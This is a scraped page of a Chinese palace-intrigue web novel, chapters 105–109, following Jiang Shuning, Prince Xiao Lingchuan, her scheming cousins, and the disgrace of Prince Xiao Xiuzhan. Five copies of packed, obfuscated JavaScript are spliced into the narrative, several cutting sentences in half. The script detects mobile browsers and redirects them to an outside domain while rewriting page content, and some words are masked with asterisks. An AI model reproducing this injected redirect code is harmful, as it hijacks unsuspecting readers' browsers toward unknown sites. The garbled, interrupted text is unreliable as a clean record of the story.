“二姐姐,只要能让殿下青睐莲儿,莲儿什么都愿意做!” 姜瑶真满意地点点头,声音带着几分阴冷:“只要你乖乖按照我的话去做,我保证你很快便能服侍在殿下左右!” “是,莲儿一定听二姐姐的话!” 姜姝宁被萧凌川拉进屋内,手腕上还残留着他掌心的温度。 她不动声色地抽回手,退开半步,面上依旧是那副疏离淡漠的模样:“殿下有话直说。” 自己好心替他和姜瑶真传话,他却摆出这副兴师问罪的架势,实在令人寒心。 看来姜瑶真没有带来让他满意的消息,他不忍责怪她,准备迁怒于自己了。 萧凌川脸上的不虞之色早已散去,他慢条斯理地坐下,用左手熟练地拿起茶壶,为自己和她各倒了一杯茶:“这来福酒楼的红茶味道尚可,你不妨尝尝。” 姜姝宁瞥了他一眼,只见他左手动作娴熟流畅,显得从容自若,心中暗自吐槽:这不是用得挺顺手嘛! 看来,右手受伤,也并不需要旁人喂食嘛! 萧凌川察觉到她视线停在自己左手上,像是被戳中了心思,将茶杯放回桌上,轻咳一声:“倒水喝茶尚不影响,但夹菜吃饭还是不太顺手。” 姜姝宁抬眸,似笑非笑地应道:“既如此,那今日我们便只喝茶。” 也省去了她给他喂食的麻烦。 “你确定?”他桃花眸微眯,声音里透着几分循循善诱,“这来福酒楼的糖醋排骨和麻婆豆腐是出了名的好吃,你不打算试试?” 姜姝宁一怔,心口像是被什么轻轻撞了一下。 两道菜是她最爱吃的,可因他不喜甜辣,前世她在景王府时从来不做。 如今他却轻描淡写地提起,像是早就深谙她的喜好。 她藏在袖中的手不自觉地攥紧,指尖掐进掌心,刺得生疼。 他这是做什么? 先是在马球场上不顾一切地救她,如今又刻意在她面前表现出对她的在意。 他就这般急不可耐地想要俘获她的心吗? 也对,只有彻底得到她的心,她才会像前世那样,任由他摆布操控。 萧凌川对她内心的波澜浑然不觉,他径自唤来小二,点了糖醋排骨和麻婆豆腐,又转头问她:“你还想吃什么?” 姜姝宁强压下心底翻涌的情绪,语气平淡得像一潭死水:“就这些够了。” “才两道菜,哪里够?”萧凌川目光扫过她的眉眼,似有若无地停留了片刻,随后又自顾自地点了几样菜,这才挥手让小二退下。 不一会儿,菜肴端上来,摆了满满一桌,香气扑鼻,勾得人食指大动。 姜姝宁心中却有些五味杂陈。 活了两世,这是第一次在萧凌川面前吃自己喜欢 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15620127|172253||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的菜。 前世她总是事事以他为先,卑微到了极点。 瞥见他那只缠着纱布的右手,她认命地坐到他身旁,端起他的碗,准备像昨日那般给他夹菜喂饭。 毕竟他的手是因她而受伤,照顾他用膳也是理所当然。 萧凌川却抬手止住她:“你先吃吧!” 她一愣,筷子停在半空,疑惑地看向他:“那殿下你……” “这些菜都是我为你点的。”他顿了顿,声音轻柔,“昨日你在我殿里,一直忙着喂我,自己都没吃多少。后来又急着离开。今日这顿饭,算是我的补偿。” 姜姝宁有些意外,没想到他竟还有为人着想的时候。 她垂下眼帘,低声道:“那臣女便谢过殿下了。” 她许久没吃糖醋排骨和麻婆豆腐,筷子一动便有些停不下来,吃得津津有味。 萧凌川目不转睛地看着她,原本冷峻的俊美面容上竟浮起一丝满足的笑意,像是冬日里一抹罕见的暖阳,柔和得让人心悸。 两人在还算融洽的氛围里吃完了一餐饭。 临走时,萧凌川对她道:“若这来福酒楼的菜肴能入你的眼,我可将这里的厨子买下,安置在相府,日后便让他专为你烹饪。” 姜姝宁闻言,微微一怔,随即轻笑道:“不必如此。若我想吃,自己来酒楼便是。况且,你将厨子买下,岂不是让京城其他食客再也无缘见识他的厨艺了?” “那又如何?”萧凌川不以为然,“即便你我不出手,也会有其他达官显贵看中他的厨艺,将他买下。你就不怕被他人捷足先登,日后想吃也无处可寻?” 姜姝宁满不在乎:“那又如何?世间美味佳肴数不胜数,错过这一家,我自可另寻其他,说不定还能有意外之喜。” 萧凌川闻言,桃花眼中波光流转,深邃的眸子里似有暗流涌动。 他凝视着姜姝宁,语气低沉而霸道:“我与你不同,但凡我看中的,必定要将其据为己有!” “倘若无法如愿呢?”姜姝宁似笑非笑地反问道。 萧凌川的眼神瞬间变得幽深,如同暗夜般深不见底。 他语气强势,一字一句道:“那便抢!只要是我想要的,即便是强取豪夺,也绝不会拱手让与他人!” 姜姝宁对他的霸道和自负感到无语,心中暗自冷笑:萧凌川,你未免太过自以为是了。 这世上,总有些东西,是你穷尽一生也无法得到的! 第106章 还是留着祸害别人吧! 第一百零六章还是留着祸害别人吧! 两人刚离开来福酒楼,没想到迎面便撞见姜莲。 她看到萧凌川便低头行礼:“民女见过殿下!” 萧凌川连眼角余光都未分给她,仿若未见。 姜姝宁问:“三妹,你有事?” 姜莲点了点头,神色略带几分羞涩:“大姐姐,我有话对您说。” 姜姝宁转头对萧凌川道:“殿下,我们就在此处告别吧。我与堂妹有话要说。” 萧凌川微微颔首,淡然应道:“去吧。” 说完,他便径直转身离去。 姜莲目送着萧凌川的身影渐远,脸上浮起一抹毫不掩饰的倾慕,喃喃道:“殿下真是容貌出挑,我从未见过长得这般好看的男子。大姐姐被这样的男子爱慕,真是让人羡慕啊。” 姜姝宁眉头微蹙:“三妹,你有话直说!” 姜莲转头看向她,语气诚恳:“大姐姐那么多皇子喜欢,想必很难抉择吧?莲儿愿意为大姐姐分担。只要大姐姐在殿下面前求个情,让莲儿去他身边服侍,往后莲儿得宠,定不会忘了大姐姐的恩情!” 这话一出口,姜姝宁只觉得胃里一阵翻涌,像是吞了只苍蝇般恶心。 她竟想服侍萧凌川? 难道这就是她费尽心思装扮成自己模样的真正原因? “莲儿,你可知道,方才那位殿下便是当今四皇子。”姜姝宁沉声道,“二婶不是一直认定四皇子殿下便是买**害二哥的罪魁祸首吗?你当真想留在他身边服侍?” 姜莲垂眸:“莲儿知道。若莲儿能得四皇子殿下青睐,父亲母亲一定会理解的。况且,正如大姐姐所说,没有证据证明哥哥之死就是出自四皇子殿下之手,父亲母亲不过是哀伤过度,方才迁怒于他的。” 听到这番话,姜姝宁气不打一处来。 既然他们都觉得萧凌川并非害死姜天赐的凶手,那为何二叔二婶还总揪着她和萧凌川的关系不放,试图将姜天赐的死归咎到她身上来? 难道是因为她好欺负的缘故? 想到这,她语气愈发冰冷:“三妹,此事我爱莫能助。若你当真想在四皇子身边服侍,便自己去跟他说!” 把一个长相和装扮都跟自己极其相似的女子送到萧凌川身边,这么恶心的事叫她如何做得出来? 想想都觉得膈应! “大姐姐,求求你!”姜莲紧紧抓住她的衣袖,声泪俱下地哀求道,“父亲近来沉迷于**,已欠下巨额债务,若我再无出路,只怕他会将我卖去抵债啊!大姐姐,看在咱们都是姜家血脉的份上,帮帮我吧!” 姜姝宁眉头紧蹙:“京城乃天子脚下,哪来的赌场?” “明面上自然没有,可那些见不得光的地下赌场,比比皆是!那里的人凶神恶煞,若不及时还钱,父亲只怕会被他们活活打死啊!”姜莲哭得梨花带雨,“大姐姐,求求你,让我去四皇子身边服侍吧!我不想被卖到春香楼那等火坑里去啊!” “你这简直是病急乱投医!”姜姝宁恨铁不成钢,“你怎么知道,去四皇子身边服侍,就不是跳入另一个火坑?” “不会的!四皇子殿下看你的眼神,与看旁人的截然不同。他对你如此倾心爱慕,定然会善待我的!我不介意当大姐姐的替身,只要能留在四皇子身边,我什么都愿意!” 说到最后,她的语气近乎疯狂,有种不顾一切的偏执。 姜姝宁竭力克制住心中的怒火,才忍住没有抬手扇她一个耳光。 二叔二婶,究竟是如何教养出姜莲这般愚蠢又不知廉耻的女儿的? 她冷声道:“我不会送你去四皇子身边,但你提到的地下赌场之事,我可以找人协助调查。京城严禁开设赌场,一旦被查获,定会被朝廷取缔。到时候,二叔的债务自然一笔勾销。只要债务清了,你也就安全无虞了!” 丢下这句话,她转身离开。 姜莲气得直跺脚。 怎么话都说到这份上了,大姐姐还是不肯帮她呢? 人往高处走,她不过想过上锦衣玉食的生活,难道这也有错吗? 姜姝宁回到相府,姜瑶真已经服下从萧凌川那里得来的解药,容颜恢复了往日的美艳。 她特地来找姜姝宁,装出一副无奈的模样:“姐姐,莲儿真是的,自从知道四皇 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15620128|172253||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 子殿下对你有意后,便费尽心思地模仿你的妆容打扮,妄想博得殿下的青睐。唉,她当真是不自量力,姐姐哪里是她能模仿得来的?” 姜姝宁冷冷地看着她:“她如此刻意模仿我,难道不是你的授意?” “姐姐缘何出此言?我怎会做出这种事?”姜姜瑶真一脸无辜。 “别装了。她今日出现在来福酒楼,分明是去找你的。若不是你,她又怎会认识四皇子?她还跑来求我,苦苦哀求让我安排她服侍在四皇子身边。瑶真,我真不明白,你为何总要做这种损人不利己的事?” 姜姝宁语气骤冷,眸光如冰,“况且,四皇子殿下真正倾慕之人到底是谁,你心知肚明!你故意将三妹打扮得与我如出一辙,还怂恿她去接近四皇子殿下,这么做,你当真不觉得恶心吗?还是说,这是你和四皇子之间的特殊情趣?” 姜瑶真眉心一跳,试探地开口:“姐姐以为……四皇子殿下倾慕之人是我?” “难道不是吗?”姜姝宁反问。 “当然……是啊!”姜瑶真装出无奈的样子,“可惜我已经与三皇子殿下定了亲,四皇子殿下纵然再倾心于我,也终究是无缘了。所以我才想撮合他和姐姐。姐姐,我并无恶意!” 她在心中放肆地大笑,萧凌川啊萧凌川,你如此爱慕姜姝宁有何用? 在她心中,你爱慕的人竟是我! 活该,谁让你给我下毒,这辈子你都别想得到姜姝宁的心! 姜姝宁听出了她话里的沾沾自喜,白了她一眼:“你的好意我心领了,但我不需要。还请你以后别再擅作主张,撮合我和你的倾慕者,怪膈应的!” 姜瑶真不要的男人就给她,她又不是专门收破烂的! 前世,她就是收了姜瑶真不要的破烂,才吃尽了苦头的。 萧凌川那样的破烂,还是留着祸害别人吧! 萧凌川刚回到宫里,便毫无征兆地打了两个喷嚏。 一旁的凌风关切地问:“殿下,可是路上着凉了?” 萧凌川神色阴沉,眉宇间笼罩着一层挥之不去的阴霾:“并非着凉。我总觉得,有人在背后说我坏话!” 第107章 为姜家开枝散叶 第一百零七章为姜家开枝散叶 京城地下赌场一事实在蹊跷,姜姝宁思量再三,决定还是要告知萧凌川,以查明真相。 说不定能给他一个立功的机会。 萧修湛已封瑞王,可见皇帝对他的器重。 若萧凌川再无作为,恐怕会一直被萧修湛压一头。 翌日,她刚收拾妥当准备出门,姜天泽便提着一个竹篮前来找她。 “大姐姐若要出门,不如带上小白一同前往吧!” 他掀开竹篮上盖着的花布,露出藏在里面小白蛇。 小蛇吐着信子,歪着小脑袋讨好地看着姜姝宁,模样颇为惹人怜爱。 “它的毒腺可曾清除了?”姜姝宁随口问。 “自然清除了!若大姐姐不信,我可让它咬我一口!” 话音未落,他竟真的掰开小白蛇的嘴,主动用指尖去触碰它的尖牙。 等姜姝宁反应过来想制止已为时过晚,他指尖已经被划破,殷红的血珠缓缓渗出。 她连忙握住他受伤的手指,急声吩咐身旁的凌芜:“快去取纱布和止血药粉来!” “是,大小姐!”凌芜应声,迅速转身离去。 不多时,纱布和药粉便被取来。 姜姝宁小心翼翼地为姜天泽清洗伤口,敷上药粉,又细细缠好纱布,神色间满是责备:“身体发肤,受之父母,怎可如此随意弄伤自己?” 姜天泽只觉伤口处传来一阵麻痛,他不动声色地掩饰住异样,低声道:“我怕大姐姐不信……” “傻瓜,我不过随口一问,并非不信你,你何必用如此极端的方式证明自己?” 姜姝宁无奈地轻叹,语气中透着几分心疼。 “是天泽鲁莽,大姐姐教训得是。” 姜天泽目光不着痕迹地扫过她一身正式的装扮以及身旁放置的食盒,佯装随意地问道,“大姐姐今日打扮得这般端庄,可是准备进宫?” “正是。四皇子殿下因救我而受伤,于情于理,我都该去探望一番。” 姜姝宁语气平淡,不愿多谈。 姜天泽眼底闪过一抹不易察觉的妒意,却很快被他强压下去。 “我听说这四皇子殿下极其爱慕大姐姐,甚至因顾公子上门求娶大姐姐,便故意举荐他西征,最终害他命丧匪巢。此人手段如此极端,大姐姐将来岂不是要被迫嫁给他?” “绝无此事!”姜姝宁断然否决,语气坚定如铁,“我此生,绝不可能嫁给他!” “那大姐姐想嫁给宫中哪位皇子?”他小心翼翼地试探,眼底藏着一丝不易察觉的忐忑。 “不瞒你说,我已经跟父亲母亲商量好了,此生不嫁。”姜姝宁神色平静,“正如你所说,四皇子手段极端,无论我嫁给谁,都难逃他的算计。与其如此,不如干脆断了他的念头。” 听到她如此斩钉截铁的回答,姜天泽心头的阴霾顿时一扫而空。 他展颜一笑,声音顿时变得轻快起来:“大姐姐不必忧心,就算你此生不愿嫁人也无妨,我陪着你便是。我也不娶妻生子,我们姐弟二人相依为命,平静地过完此生。” “那可不行。你如今不仅是相府的继承人,更是姜家唯一的后代。姜家子嗣单薄,只你这一根独苗,将来定要娶妻生子,为姜家延续香火,开枝散叶!” 姜天泽痴痴地看着她,心想,将来若能和她结婚生子,也算是为姜家开枝散叶了。 姜姝宁并未察觉姜天泽对自己的那份隐秘痴念与觊觎。 她为他包扎好伤口后,便带着小白蛇和食盒,径直出门而去。 姜天泽回到西院时,整条手臂已然麻木,失去了知觉。 他平日里常与毒物打交道,对毒性的抵抗力远胜常人。 此刻,他对小白蛇的毒性颇为满意——这样的麻痹效果,恰到好处,足以派上用场。 —— 姜姝宁抵达景和宫时,正巧碰上孙神医替萧凌川更换伤药。 她关切地问:“孙神医,不知殿下伤势恢复得如何了?” 孙神医脱口而出:“殿下素来身体强健,这等小伤自然……” 话未说完,便被萧凌川几声轻咳打断。 一个眼神递了过去,其中深意不言而喻。 孙神医会意,连忙改口道:“……自然是极难痊愈!姜姑娘有所不知,殿下是从那般高的地方坠落,整条手臂都已断裂,这断骨重续,需得耗费大量时日,没有一年半载,恐怕难以复原。” 姜姝宁黛眉微蹙,忧心忡忡地追问:“竟如此严重?可有什么良方妙药,能助殿下早日康复?” 若萧凌川的手臂无法尽早痊愈,如何帮她调查京城地下赌场一事? 萧凌川见她如此关心自己,心头不由漾起一丝甜蜜。 孙神医捋了捋胡须道:“倒也不是全无办法。姜姑娘若能平日里多炖些大骨汤,以形补形,或许能加快殿下手臂的愈合速度。” 这番回答很是让萧凌川满意,看来以后他有口福了。 “多谢孙神医指点,臣女明白了。”姜姝宁颔首应道。 孙神医很有眼色,知道不便久留,连忙起身向萧凌川行礼:“殿下若无其他吩咐,老夫便先行告退,改日再来为殿下诊脉。” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15620129|172253||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >“孙神医慢走。凌风,送孙神医离宫。” 孙神医离开后,萧凌川伸手握住姜姝宁的手,表情透着几分戏谑:“不是说府中事务繁忙,近来无暇入宫吗?嗯?” 他想起昨日她和帮姜瑶真把他骗出来,忍不住磨了磨后槽牙:“你这小骗子,究竟哪句话才是真的?” 姜姝宁从未听过他用如此暧昧宠溺的语气与自己说话,只觉得浑身都不自在。 她不着痕迹地将手从他掌心抽离,向后退了一步,拉开彼此间的距离,这才正色道:“殿下,臣女今日前来,有要事相告。” 见她如此疏离,萧凌川也只好端正坐姿,敛了敛容:“何事?” “臣女的堂妹无意中透露,如今京城暗地里开设了不少地下赌场。朝廷三令五申,严禁京城开设赌场,此事颇为蹊跷,不知殿下是否知情?” 萧凌川神情毫无波澜:“此事我早已知晓。这京城地下赌场与人口买卖的幕后主使,皆是瑞王萧修湛。” “竟是他?”姜姝宁一惊,“殿下既已知晓此事,为何迟迟不禀明陛下?先帝在世之时便已明令禁止京城经营**与人口买卖,瑞王此举,分明是知法犯法,理应受到严惩!” “与西榆私兵一事相同,也是苦于没有确凿的证据。若贸然禀告父皇,很可能抓到的只是用来顶罪的替罪羊,届时萧修湛极有可能撇清关系,全身而退。这并非我想要的结果。” “臣女明白殿下谋划的是更大的棋局,可如今地下赌场泛滥,对京城百姓危害甚深。殿下能否先查封取缔这些地下赌场,以解百姓之困?”姜姝宁恳切道,“臣女的二叔便因沉迷**,在赌场欠下巨额债务,甚至到了要卖女还债的地步。若能早日铲除这些害人的场所,于百姓百利无一害。” “不可。”萧凌川断然拒绝,语气不容置喙,“若此时贸然取缔京城地下赌场,岂不是主动替萧修湛掩盖罪证?此事绝不可操之过急。” 姜姝宁见他一副不疾不徐的模样,心中郁闷不已,却也不便与他过多争辩,只能选择沉默不语。 忽然,萧凌川像是想起了什么,目光锐利地看向她:“你二叔的女儿,难道是那日在来福酒楼见到的那位?” “正是。她是我的三妹,名叫姜莲。”姜姝宁如实回答。 他闻言,俊美的脸上浮现出一丝嘲弄:“原来是为了避免被父亲卖掉,这才费尽心思装扮成你的模样,对我百般勾引。看在她是你堂妹的份上,此事我可以不予追究,但你往后最好不要再与她有任何瓜葛。” 姜姝宁一怔,以为自己听错了:“殿下说什么?我三妹她……竟然勾引你?” 第108章 又开始发神经了 第一百零八章又开始发神经了 “你若是不信,大可亲自去问她。”萧凌川斜倚在椅背上,神色间带着几分玩味,语气中却是不屑一顾,“不过你大可放心,我虽称不上正人君子,但也绝非饥不择食的好色之徒。” 一个东施效颦、拙劣模仿的替身,怎能让他提起半分兴趣? 姜姝宁只觉双颊一阵滚烫,像是被人当众扇了一记耳光般,羞恼万分。 她只知道姜莲费尽心思想得萧凌川青睐,没想到她竟做出勾引萧凌川这么下作的事情来,还故意扮作她的模样…… “殿下恕罪,臣女回去后定会严加训诫三妹,绝不会再让她做出如此荒唐之事!” “训诫倒不必了,你往后与她少些来往便是。”萧凌川意味深长地看着她,似笑非笑地说道,“免得被她带坏了。” 姜姝宁闻言,更是面红耳赤,无地自容。 之前为了替兄长报仇雪恨,她也曾动过拿自己的身子与萧凌川达成交易的念头。 自己又比姜莲高尚到哪里去呢? 如今他看似无意的话直戳痛处,姜姝宁顿觉颜面无存,仓皇找了个借口便匆匆离去。 原本心中对姜莲仅存的那一丝同情,也在此刻荡然无存。 才刚踏出景和宫的大门,她便瞧见一只憨态可掬的小鹿,静静地伫立在宫道之上,睁着一双水灵灵的大眼睛,正一眨不眨地凝视着她。 姜姝宁心头一跳,认出了这只小鹿,它名叫绒毛,是五皇子萧怀瑾养的。 它怎会出现在这里? 她心中疑惑,下意识地便想朝小鹿走去,身后突然窜出一只通体漆黑的猫,如同猎豹一般猛地朝小鹿扑了过去。 是黑豹! 姜姝宁猛然想起这只黑猫的牙齿带有剧毒,若是被它咬中,后果不堪设想。 她连忙挡在黑豹与小鹿之间,生怕小鹿被咬到。 黑豹岂是她能拦得住的? 它不顾一切地想要冲向小鹿,口中还发出阵阵凶狠的哈气声,令人不寒而栗。 小鹿受到惊吓,慌乱地往前奔跑。 就在这时,一个熟悉的身影,从宫道旁的树荫下缓缓走了出来。 正是五皇子萧怀瑾。 姜姝宁脸色骤然一变。 “五皇子殿下,您别过来!”她一边焦急地呼喊着,一边奋力徒手按住躁动不安的黑豹。 黑豹见到萧怀瑾,敌意更甚,嘶吼声也愈发凶狠。 它拼命地想要挣脱姜姝宁的束缚,恨不得立刻扑上去,狠狠地咬住他。 萧怀瑾并不知晓眼前这只凶狠的黑猫带有剧毒,他疾步上前:“姜姑娘,快松开这只黑猫,小心它伤到你!” 姜姝宁心急如焚,黑豹不会伤到她,但它未必不会伤到萧怀瑾。 “五皇子,您快走!” 千钧一发之际,一道阴沉低哑的嗓音,如同暗夜中的惊雷般骤然响起:“黑豹,过来!” 原本还浑身炸毛、凶相毕露的黑色大猫,在听到这个声音后,立马乖顺地转身离开,来到那人脚边,亲昵地蹭来蹭去。 姜姝宁甚至无需回头,便知道身后之人肯定是萧凌川。 为何每次她在宫中与萧怀瑾相遇,都会被他撞见? 萧凌川周身裹挟着令人胆寒的煞气,一步步朝他们逼近,目光直射向萧怀瑾:“五弟,真巧啊,似乎每次姜姑娘前来景和宫看我,都能与你‘偶遇’!” 他将“看我”二字咬得格外用力,字里行间,带着宣示**的意味。 萧怀瑾似乎并未听出他话中的深意,神色温和地笑了笑,解释道:“四哥说笑了,绒毛贪玩跑丢了,我出来寻它,碰巧遇到姜姑娘而已。” 他的目光随后便落在了姜姝宁身上,带着一丝关切:“姜姑娘没事吧?可有伤到哪里?” 姜姝宁轻轻摇了摇头,还没来得及开口,萧凌川已经挡在了她的身前,语气冰冷地对萧怀瑾道:“我的客人,自有我来护她周全,不劳五弟费心。” “四哥说的是。”萧怀瑾脸上的笑容微微一僵,眼底闪过一丝不易察觉的黯淡,但很快便恢复了温和的神色,“既如此,那我就不打扰四哥与姜姑娘叙旧了,告辞。” 说完,他朝姜姝宁微微颔首致意,便抱起那只名叫绒毛的小鹿,转身离开了。 萧凌川目光阴鸷地注视着萧怀瑾离去的背影,眼底深处,仿佛酝酿着一场风暴。 他猛地 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15620130|172253||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 转过头,眼神犀利地看向姜姝宁:“你很担心黑豹会伤到他?竟不顾自身安危,徒手便去抓它,你就不怕它一口咬下去,**身亡?在你心中,萧怀瑾当真就如此重要,能让你不惜以身犯险?” 姜姝宁对上他那双戾气横生的眼眸,心中暗道不妙。 他又开始发神经了。 她生怕他因此迁怒于萧怀瑾,连忙解释道: “殿下,我并非担心五皇子,而是黑豹身带剧毒,若它伤了五皇子,殿下私藏南月血统猫的秘密恐怕会暴露,届时黑豹难逃一死,殿下也会惹上麻烦!” 听闻此言,萧凌川神色这才稍霁。 “所以,你并非是担心萧怀瑾的安危,而是在担心我?” 姜姝宁垂眸:“前世黑豹与我感情甚笃,我不忍心眼睁睁地看着它被人打死。” 萧凌川脸色又变得不悦:“这么说来,在你心中,我竟然还没有黑豹重要?” 姜姝宁:“……” 他现在是连自己宠物的醋也要吃了吗? 姜姝宁实在是不想在这种无谓的事情上过多纠缠,只能违心地道:“殿下自然是最重要的。” 萧凌川听了这话,眉眼这才染上了一丝笑意。 “我姑且就相信你这一次。至于地下赌场一事,我眼下尚无法立刻铲除。不过,萧修湛的瑞王之位,恐怕也维持不了多久了。你就拭目以待,等着看好戏吧!” 听到这话,姜姝宁脸上终于浮现出几分真心实意的笑容:“臣女在此静候殿下的佳音!” 萧凌川随即唤来了凌风,吩咐道:“送姜姑娘出宫,切莫再让什么小鹿、小狗之类的东西,将她引到其他地方去,平白遂了某些人的心愿!” 姜姝宁知道他话里有话,却也懒得理会,只当自己什么也没听见。 她才不相信五皇子会故意利用一只小鹿,来引她与他见面呢。 萧怀瑾才不像萧凌川那么多心眼! 她不知道,就在不远处,有一人正抱着一只小鹿,偷偷地注视着她离去的背影。 萧怀瑾轻抚着小鹿的毛发,幽幽地开口说道:“绒毛,看来下次我们不能离景和宫太近了,四哥养的那只黑猫,实在是太凶了。” 第109章 剥夺封号,退还封赏 第一百零九章剥夺封号,退还封赏 萧修湛的手下费尽周折,才寻到一具与顾亦庭极为相似、同样胸口中剑而亡的尸体,小心翼翼地运回京城,企图蒙混过关。 尸体面容已毁,需经过查验才能确定是否为顾亦庭本人。 大理寺的仵作一番细致检验后,脸色骤然大变,立即将结果密报给大理寺卿。 大理寺卿反复思量,决定将此事原原本本禀告给皇帝。 “启禀陛下,经查验,这具尸体身中剧毒。”大理寺卿沉声禀报。 皇帝闻言震惊,沉声怒道:“竟有此事?如此说来,顾亦庭不是进入匪巢后**的,而是**身亡?究竟是谁下的毒?” 他当即下旨,命人召瑞王萧修湛前来问话。 御书房里,气氛凝滞得像块千年寒冰。 皇帝面色阴沉如水,萧修湛跪在青石板上,膝下冰冷刺骨,却远不及心底的寒意。 “仵作查出顾亦庭死前已身中剧毒,”皇帝声音如刀,寒气逼人,“朕问你,这毒可是你下的?” 萧修湛猛地抬头,脸色煞白如纸,惊恐万分:“父皇明察!儿臣绝未做过此事!” 他内心翻涌,难以置信——怎么找了具身中剧毒的尸体? 他的手下究竟是如何办事的? 这完全超出了他的预料! “你与太子向来不和,顾亦庭又是太子的表亲!如今查出他并非死于剿匪,而是**身亡,你如何自证清白?”皇帝瞪着萧修湛,目光如刀,仿佛要将他刺穿,“若有人借机发难,咬定是你所为,朕也未必能护你周全!” 萧修湛一个激灵,头皮发麻,急忙辩解:“父皇!此事绝非儿臣所为!儿臣与顾亦庭无冤无仇,何必对他下毒?定是有人蓄意陷害,欲借此挑拨儿臣与太子的关系!” “哼,”皇帝冷笑,语气冰寒,“这只是你的猜想,证据何在?没有证据,朕如何向御史、向顾家、向天下人交代?” 萧修湛浑身发颤,额角冷汗涔涔,“父皇……那、那您打算如何处置?” “如何处置?”皇帝声音低沉,每个字都如重锤般砸在萧修湛心头,“不管顾亦庭之死与你是否相关,这差事你办得实在不堪。” 他稍作停顿,目光冷漠如霜,“瑞王封号,以及朕先前给你的封赏,怕是留不得了。你如数退还国库,朕暂且压住外头风声,免得顾御史等人一怒之下找你算账。” 此言一出,萧修湛如遭雷击,脑中轰鸣一片,顿时瘫坐在地。 退还? 他早将那些赏赐换成兵甲粮草,供养西榆的私兵了! 如今让他去何处寻物退还? 这分明是要他的命! 萧修湛从御书房踉跄而出,只觉头重脚轻,胸中郁气难平。 他鬼使神差地来到芙蓉殿前,想起凝香身上那股令人心神荡漾的幽香,以及她欲拒还迎的娇媚模样,顿时血脉贲张,热意上涌。 他不顾宫人的阻拦,径直闯入凝香的寝殿,嘴角勾起邪肆的笑:“香妃娘娘,本王来看你了!” 他心中恶意翻腾,一想到父皇要剥夺他的封号,逼他交还赏赐,胸口就有股邪火无处发泄,便只能寻父皇最宠爱的妃子出气,方能稍解心头不平。 凝香端坐桌旁,面对他的冒犯,脸上神色淡然,仿佛早已司空见惯。 直到他凑近想要吻她时,她才露出泫然欲泣的柔弱模样,哀求道:“殿下,求您怜惜,妾身已有身孕,再经不起这般折腾!” “身孕?”萧修湛闻言一怔,眉头紧锁,“你不是一直在服‘凝香丸’吗,怎会受孕?” 凝香低头,手轻抚小腹:“这‘凝香丸’虽有毒性,会妨碍受孕,却并非绝对,总有例外。殿下身强体健,又常来妾身宫中,妾身能怀上并不奇怪。” “你是说,这孩子是我的?”萧修湛眼神陡然一沉。 “自然是殿下的。”凝香抬眸,媚眼如丝,“妾身已有数月未曾伺候陛下,这孩子怎会是他的?况且,陛下年近半百,再想得子嗣,谈何容易?” 萧修湛细想之下,也觉得有道理。 父皇最小的孩子乃十一年前诞下的荣华公主,此后宫中再无妃嫔有孕。 难道,她腹中怀的真是他的骨肉? 他心头百味杂陈,目光阴郁,沉声开口:“这孩子,留不得!” “为何?”凝香闻言,惊恐万状,声音颤抖,“这是我们的骨肉啊!殿下尽可以放心,妾身自有法子,绝不会让陛下起疑。待孩子出生,陛下只会以为这是他的血脉,他定能平安长大!” 萧修湛神色为难,低声道:“可……母妃绝不会容许这孩子出生。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15620131|172253||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ” 